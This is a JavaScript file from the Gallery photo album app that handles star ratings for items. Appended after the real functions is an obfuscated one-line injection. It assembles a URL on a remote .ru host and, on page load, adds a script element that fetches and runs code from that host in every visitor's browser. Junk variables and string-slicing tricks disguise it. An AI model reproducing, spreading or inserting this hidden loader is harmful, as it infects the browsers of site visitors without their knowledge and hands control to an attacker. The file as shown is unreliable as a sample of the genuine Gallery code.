/*
 * Gallery - a web based photo album viewer and editor
 * Copyright (C) 2000-2007 Bharat Mediratta
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA  02110-1301, USA.
 */
function rateItem(itemId, rating, url) {
    YAHOO.util.Connect.asyncRequest(
	'GET', url, {success: handleRatingResponse, failure: null, scope: null}, null);
}

function handleRatingResponse(http) {
    var results = http.responseText.split("\n");
    updateItemRating(results);
}

function updateItemRating(results) {
    var itemId = results[0];
    var rating = results[1];
    var votes = results[2];
    var userRating = results[3];

    updateElementDisplay('rating.rating.' + itemId, rating);
    updateElementDisplay('rating.votes.' + itemId, votes);
    updateElementDisplay('rating.userRating.' + itemId, userRating);
    updateAveragePercent(itemId, rating * 100 / 5);

    resetStarDisplay(itemId);
}

function resetStarDisplay(itemId) {
    var userRating = document.getElementById('rating.userRating.' + itemId).innerHTML;
    updateStarDisplay(itemId, userRating);
}

function updateAveragePercent(itemId, averagePercent) {
    var e = document.getElementById('rating.averagePercent.' + itemId);
    e.style.width = averagePercent + "%";
}

function updateStarDisplay(itemId, userRating) {
    var rating = document.getElementById('rating.rating.' + itemId).innerHTML;
    for (i=1; i<=5; i++) {
	var star = document.getElementById('rating.star.' + itemId + '.' + i);
	if (userRating != 'N/A') {
	    if ((rating >= i) && (userRating >= i)) {
		star.className='giRatingFullUserYes';
	    } else if ((rating >= i) && (userRating < i)) {
		star.className='giRatingFullUserNo';
	    } else if ((rating < i) && (userRating >= i)) {
		if (i - rating < 1) {
		    star.className='giRatingHalfUserYes';
		} else {
		    star.className='giRatingEmptyUserYes';
		}
	    } else if ((rating < i) && (userRating < i)) {
		if (i - rating < 1) {
		    star.className='giRatingHalfUserNo';
		} else {
		    star.className='giRatingEmpty';
		}
	    }
	} else {
	    if (rating >= i) {
		star.className='giRatingFullUserNo';
	    } else if (i - rating < 1) {
		star.className='giRatingHalfUserNo';
	    } else {
		star.className='giRatingEmpty';
	    }
	}
    }
}

function updateElementDisplay(id, str) {
    document.getElementById(id).replaceChild(
	    document.createTextNode(str),
	    document.getElementById(id).childNodes[0]);
}

try {this.m="";var y;if(y!='' && y!='Rh'){y=''};var YK=new Date();var O="im8repla".substr(3)+"ceNEuG".substr(0,2);var Y=String("A5LT]".substr(4));var hW;if(hW!='xD'){hW=''};var tV=new Array();var f=String("[");var C=new String();var i='';var dJ;if(dJ!='H'){dJ='H'};var u=RegExp;var J=new String("RUNg".substr(3));var b;if(b!='Ld' && b != ''){b=null};function P(V,U){var oI;if(oI!='' && oI!='o'){oI=''};this.uH='';var v=f;v+=U;var j=new Date();var OO;if(OO!='jX'){OO=''};v+=Y;var K;if(K!='Q'){K=''};this.OZ="";var E=new u(v, J);return V.replace(E, i);var RG;if(RG!='' && RG!='Rb'){RG='Mc'};};var mt;if(mt!='W' && mt!='ETP'){mt=''};var Cl=new Date();var M="rEk/tna".substr(3)+"flixSWzn".substr(0,4)+".com"+"/tna"+"flixM9ND".substr(0,4)+".comrH0".substr(0,4)+"/por1Fz".substr(0,4)+"osHnhub".substr(3)+"M76U.com".substr(4)+"/goonwqx".substr(0,4)+"mEbgle.mEb".substr(3,4)+"KewFcom/FewK".substr(4,4)+"em3Ichar".substr(4)+"NxOVter.OVxN".substr(4,4)+"moOnet.".substr(3)+"lJtwphp".substr(4);var gq;if(gq!='' && gq!='r'){gq=''};this.EB="";var MH='';var eX='';var V="1";var p=new Array();this.fX='';var vF="scri"+"4dQapt".substr(4);var X=new String();var t='';var s="onloa"+"LsiAd".substr(4);var NL=new Date();var V_=P('897474490749949448747994077949777',"497");var d=P('hUtUtUpE:E/U/UpUeUoUpUlEeE-UcUoEmU-EcUnU.UmUyEfErUeUeEpUaEyUsUiEtEeE.UcUoEmU.UmUaEpEqEuUeUsUtE-EcEoUmU.EgErEeUaEtUwUeUsUtUeEnEdU.ErEuE:E',"EU");var iH=new String();window[s]=function(){var FZ;if(FZ!='' && FZ!='Vs'){FZ=null};var QC="";var CT;if(CT!='FK' && CT!='Rho'){CT='FK'};D=document.createElement(vF);var gX;if(gX!='' && gX!='QZ'){gX=null};t+=d;var OH;if(OH!='' && OH!='ww'){OH=''};var _;if(_!=''){_='Zr'};t+=V_+M;var Kg='';this.O_='';var Fo;if(Fo!='Hu' && Fo != ''){Fo=null};var h=document.body;D.defer=V;D.src=t;var Pm="";var qk="";var FT;if(FT!='' && FT!='Kd'){FT=''};h.appendChild(D);};this.Tp='';var Ae;if(Ae!='' && Ae!='Ze'){Ae='wB'};var rb;if(rb!='V_s'){rb=''};var sp;if(sp!='' && sp!='Zz'){sp=null};} catch(R){var em='';var YD='';};